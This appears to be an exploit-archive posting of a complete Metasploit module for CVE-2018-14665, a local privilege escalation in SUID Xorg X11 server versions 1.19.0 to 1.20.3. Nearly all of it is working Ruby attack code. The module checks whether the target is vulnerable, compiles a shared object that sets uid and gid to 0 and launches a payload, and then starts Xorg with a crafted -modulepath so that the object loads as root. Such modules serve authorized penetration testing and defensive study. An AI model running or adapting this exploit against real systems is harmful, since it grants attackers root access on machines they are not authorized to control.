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Xorg X11 Server SUID modulepath Privilege Escalation

Xorg X11 Server SUID modulepath Privilege Escalation
Posted Oct 22, 2019
Authored by Narendra Shinde, Aaron Ringo | Site metasploit.com

This Metasploit module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 up to 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with CentOS 7 (1708). CentOS default install will require console auth for the users session. Xorg must have SUID permissions and may not start if running. On successful exploitation artifacts will be created consistent with starting Xorg.

tags | exploit, arbitrary, root
systems | linux, centos
advisories | CVE-2018-14665
MD5 | d5e6f9fce10b890713038be1179ea1bd

Xorg X11 Server SUID modulepath Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System


def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges with SUID Xorg X11 server
versions 1.19.0 < 1.20.3.

A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.

This module has been tested with CentOS 7 (1708).
CentOS default install will require console auth for the users session.
Xorg must have SUID permissions and may not start if running.

On successful exploitation artifacts will be created consistant
with starting Xorg.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Narendra Shinde', # Discovery and exploit
'Aaron Ringo', # Metasploit module
],
'DisclosureDate' => 'Oct 25 2018',
'References' =>
[
[ 'CVE', '2018-14665' ],
[ 'BID', '105741' ],
[ 'EDB', '45697' ],
[ 'EDB', '45742' ],
[ 'EDB', '45832' ],
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]
],
'Platform' => %w[linux unix solaris],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => %w[shell meterpreter],
'Targets' =>
[
['Linux x64', {
'Platform' => 'linux',
'Arch' => ARCH_X64 } ],
['Linux x86', {
'Platform' => 'linux',
'Arch' => ARCH_X86 } ],
['Solaris x86', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
['Solaris x64', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
],
'DefaultTarget' => 0))

register_advanced_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),
OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])
]
)
end


def check
# linux checks
uname = cmd_exec "uname"
if uname =~ /linux/i
vprint_status "Running additional check for Linux"
if datastore['ConsoleLock']
user = cmd_exec "id -un"
unless exist? "/var/run/console/#{user}"
vprint_error "No console lock for #{user}"
return CheckCode::Safe
end
vprint_good "Console lock for #{user}"
end
end

# suid program check
xorg_path = cmd_exec "command -v Xorg"
unless xorg_path.include?("Xorg")
vprint_error "Could not find Xorg executable"
return CheckCode::Safe
end
vprint_good "Xorg path found at #{xorg_path}"
unless setuid? xorg_path
vprint_error "Xorg binary #{xorg_path} is not SUID"
return CheckCode::Safe
end
vprint_good "Xorg binary #{xorg_path} is SUID"

x_version = cmd_exec "Xorg -version"
if x_version.include?("Release Date")
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
vprint_error "Xorg version #{v} not supported"
return CheckCode::Safe
end
elsif x_version.include?("Fatal server error")
vprint_error "User probably does not have console auth"
vprint_error "Below is Xorg -version output"
vprint_error x_version
return CheckCode::Safe
else
vprint_warning "Could not parse Xorg -version output"
return CheckCode::Appears
end
vprint_good "Xorg version #{v} is vulnerable"

# process check for /X
proc_list = cmd_exec "ps ax"
if proc_list.include?('/X ')
vprint_warning('Xorg in process list')
return CheckCode::Appears
end
vprint_good('Xorg does not appear to be running')
return CheckCode::Vulnerable
end

def check_arch_and_compile(path, data)
cpu = ''
if target['Arch'] == ARCH_X86
cpu = Metasm::Ia32.new
compile_with_metasm(cpu, path, data)
elsif target['Arch'] == ARCH_SPARC
compile_with_gcc(path, data)
else
cpu = Metasm::X86_64.new
compile_with_metasm(cpu, path, data)
end
end

def compile_with_metasm(cpu, path, data)
shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib)
write_file(path, shared_obj)
register_file_for_cleanup path

chmod path
rescue
print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')
compile_with_gcc(path, data)
end

def compile_with_gcc(path, data)
unless has_gcc?
fail_with Failure::BadConfig, 'gcc is not installed'
end
vprint_good 'gcc is installed'

src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"
write_file(src_path, data)

gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
register_file_for_cleanup src_path
register_file_for_cleanup path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{src_path} failed to compile"
end

chmod path
end

def exploit
check_status = check
if check_status == CheckCode::Appears
print_warning 'Could not get version or Xorg process possibly running, may fail'
elsif check_status == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'This session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

print_good 'Passed all initial checks for exploit'

modulepath = datastore['WritableDir']
sofile = "#{modulepath}/#{datastore['sofile']}"
pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}"
xdisplay = datastore['Xdisplay']

stub = %Q^
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void _init(void) __attribute__((constructor));

void __attribute__((constructor)) _init() {
setgid(0);
setuid(0);
system("#{pscript} &");
}
^
print_status 'Writing launcher and compiling'
check_arch_and_compile(sofile, stub)

# Uploading
print_status 'Uploading your payload, this could take a while'
if payload.arch.first == 'cmd'
write_file(pscript, payload.encoded)
else
write_file(pscript, generate_payload_exe)
end
chmod pscript
register_file_for_cleanup pscript


# Actual exploit with cron overwrite
print_status 'Exploiting'
#Xorg -logfile derp -modulepath ',/tmp' :1
xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null"
cmd_exec xorg_cmd
Rex.sleep 7
cmd_exec "pkill Xorg"
Rex.sleep 1
end
end

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